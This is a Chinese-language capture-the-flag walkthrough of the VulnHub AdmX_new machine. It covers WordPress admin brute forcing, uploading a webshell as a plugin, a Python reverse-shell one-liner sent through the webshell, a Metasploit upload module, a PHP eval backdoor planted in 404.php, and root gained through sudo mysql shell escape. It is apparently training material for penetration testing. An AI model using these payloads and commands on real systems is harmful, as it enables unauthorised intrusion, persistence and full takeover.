靶机介绍

1)靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z

2)靶机难度:中

3)打靶目标: 取得 2 个 flag + root 权限

4)涉及攻击方法:主机发现、端口扫描、WEB路径爆破、BurpSuite内容替换、密码爆破、MSF漏洞利用、Wordpress后台漏洞利用、升级Full TTY终端、蚁剑上线、利用MySQL提权

5)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

打靶过程

1)主机发现:通过nmap -sn ping扫描进行主机发现

# nmap -sn 192.168.56.0/24

2)端口扫描:对主机进行全端口扫描,发现该主机开放的端口

# nmap -p- 192.168.56.111

3)对发现的80端口进行服务版本扫描,发现确实是一个apache httpd服务

# nmap -p80 -sV 192.168.56.111

4)在浏览器直接对页面进行访问:发现只是一个默认的apache起始页面,该页面并没有发现其他更有价值的信息

浏览器:http://192.168.56.111/

5)对目标靶机进行web路径发现:本次使用feroxbuster工具(和dirsearch原理一直,但效果不同),默认情况下kali并未安装该工具

①feroxbuster安装

# apt install feroxbuster

②对目标主机进行路径发现

#feroxbuster --url http://192.168.56.111

注:默认情况下feroxbuster使用的字典是seclists,如果没有安装seclists字典,需要安装该字典

#apt install seclists

③除了使用默认的seclists字典外,也可使用其他的字典,如dirb工具下的common.txt字典

# feroxbuster --url http://192.168.56.111 -w /usr/share/dirb/wordlists/common.txt 

通过扫描发现了wordpress目录

6)对如下扫描到的路径进行访问

浏览器:http://192.168.56.111/wordpress/

①经过了很长时间,一个页面的内容还没有完整的加载上来,这个页面中到底加载了哪些元素,是哪些元素的加载缓慢,导致了整个页面的加载缓慢,此时通过burp查看整个界面的加载过程

查看到在页面请求过程中,主页面又向服务器请求了192.168.158.145上面的一部分资源,因此时主机和该IP不处于同一个地址段,所以192.168.158.145上的资源无法正常请求,导致页面加载缓慢

7)因192.168.158.145是目标服务端给客户端返回的数据包中硬编码写入的内容,所以在burp上设置:凡是服务端返回的数据包中,如果包含192.168.158.145这个就地址,就强制替换为192.168.56.111

①先修改相应数据包的响应头部分

②再修改相应数据包的相应体部分

③完成之后,重新访问页面,页面加载正常

8)对上述页面进行测试后,未发现任何的漏洞,包括wordpress版本漏洞等。根据前面对网站路径扫描,发现了类似的后台地址,对其进行访问

浏览器:http://192.168.56.111/wordpress/wp-admin/

9)对该后台进行密码暴力破解,先通过搜索发现wordpress该CMS的web应用后台管理员账号为admin(面对一个CMS时,先判断是哪种CMS,搜索该CMS有无默认的管理员账号)

①暴力破解时,字典使用提前下载好的mimipwds.txt

字典下载地址:https://github.com/dictest/subdic/tree/ddc8b5dc82750093b6763d9d064bb7d99aa1f425

②破解完成后,发现等使用adam14密码时,页面返回了不同的URL

③通过账号密码正确登陆至系统后台

10)wordpress常见提权方式

①media中如果wordpress版本较低,可以直接在其中上传webshell

②可在Appearance中的Theme Editor的外观主题的PHP源码进行编辑,如可将一句话木马写入外观代码404.php中,如果运气好,可直接使用蚁剑连接。此处该方式失败

③通过查看插件Plugins,或者手动编写并,上传一个插件,

A:编写插件:必须要写插件的头部信息

# cat webshell.php  

B:将该webshell.php打包成zip压缩包格式

# zip shell.zip webshell.php# ls shell.zip 

C:将shell.zip文件进行上传

D:上传成功后,进行激活引擎

E:访问上传的引擎,执行webshell,执行系统命令,发现正常执行

http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=id

11)使用上传的webshell进行反弹shell连接

①先确定目标服务器有无nc命令

http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=which nc

②本次打靶,使用python进行反弹shell,所以先确定目标主机有无python程序

http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=which python3

③python反弹shell代码

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Kali监听:# nc -lvvp 4444
浏览器http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

12)通过MSF获取shell

①启动MSF

# msfdb run

②查找wordpress后台相关的漏洞利用模块

msf6 > search wordpress adminmsf6 >use exploit/unix/webapp/wp_admin_shell_upload > set PASSWORD adam14> set RHOSTS 192.168.56.111> set TARGETURI /wordpress> set USERNAME admin> run

13)通过python反弹的shell,无法使用vi等命令对文本文件进行编辑,此时需要将shell升级成功能完整的、可以实现交互式的shell(此shell升级只适用于BASH)

①先将kali主机的解释器修改为BASH,先查看当前kali的解释器是否为BASH,若不是需要修改为BASH

# echo $SHELL# chsh -s /bin/bash             #修改解释器为BASH# reboot     #修改完成后需要重启

②将当前shell升级为完整的shell终端

CTRL+Z#stty raw -echo#fg#ls#export SHELL=/bin/bash#export TERM=screen#stty rows 38 columns 116#reset

14)升级完成后,即可通过vi编辑器,完整的编辑文件(此处向之前添加为成功的404.php中,写入一句话木马)

#cd ./wordpress/wp-content/themes/twentytwentyone#vi 404.phpeval($_POST['cmd']);

15)通过蚁剑连接webshell

注:渗透测试过程中,最好应该获取到目标系统的2-3个shell,防止某些系统触发某个漏洞获取到反弹shell后,环境发送了变化,导致无法使用同一个漏洞进行反弹shell。获取一个shell后,借助该shell获取到其他shell

16)信息搜集:在用户文件中发现了一个可以登录的wpadmin账号,在该用户家目录下,获取到了一个local.txt,但是只有wpadmin用户具备读权限,且查看系统内核版本、sudo权限,均不能进行提权

$cat /etc/passwd |grep /bin/bash$cd /home/wpadmin$ls -l local.txt$ uname -a$ sudo -l

17)信息搜集:发现了wordpress应用程序的配置文件,通过配置文件查看到了连接数据库的用户名和密码

cat /var/www/html/wordpress/wp-config.php

18)尝试通过发现的密码,使用wpadmin用户去登录操作系统,发现无法正常登录成功

$ su wpadmin

19)利用用户名和密码直接进行mysql数据库的登录,发现仍然无法正常登录成功

$ mysql -u admin -p Wp_Admin#123 -D wordpress

20)通过之前的信息搜集,发现在web界面,有一个adam14的密码,通过该密码对系统用户wpadmin进行登录,发现正确却换到了用户wpadmin,获取到了第一个flag

$ su - wpadmin$ ls7$ cat local.txt 

21)此时信息搜集,发现该用户wpadmin具有sudo权限:不使用密码的情况下即可使用mysql命令

$ sudo -l

22)通过mysql登录数据库,密码尝试使用adam14时,正确登录至数据库中

$ sudo /usr/bin/mysql -u root -D wordpress -p

23)通过在mysql数据库中执行system命令(简写/!),获取root权限

> system id> \! /bin/bash#cd#cat proof.txt

总结:先对目标靶机进行了主机发现和端口扫描,扫描过程中只发现了80端口,通过端口访问到web页面后未发现其他有用漏洞信息,于是对web页面进行了路径发现,发现目标主机上存在一个wordpress的web应用,然后对其进行访问,访问过程中发现页面访问速度特别缓慢,所以开始怀疑是否页面有部分资源请求不到,导致整体的页面加载速度减慢,于是通过burp抓取了整个页面请求过程中的请求信息,于是发现该页面上通过硬编码的方式写死了部分IP地址,于是利用burp的匹配及替换功能,将硬编码写死的IP地址修改为了目标主机IP地址,从而解决页面加载慢的问题,从而可以正常访问到靶机web应用的后台地址,进而利用burp的暴力破解功能,获取到了web后台的密码,正确登入至后台管理界面。在后台管理界面通过了常见的wordpress后台漏洞利用方法(三种),最后使用插件的方式上传了webshell,获取到了反弹的shell,并利用反弹shell进行更新升级,使其成一个具有交互式功能的完整功能shell,利用完整功能的shell,修改了404.php,使得蚁剑可以正常上线。最后通过mysql数据库自身具备的system命令进行了提权(目标靶机上的sudo权限配置不当导致)操作。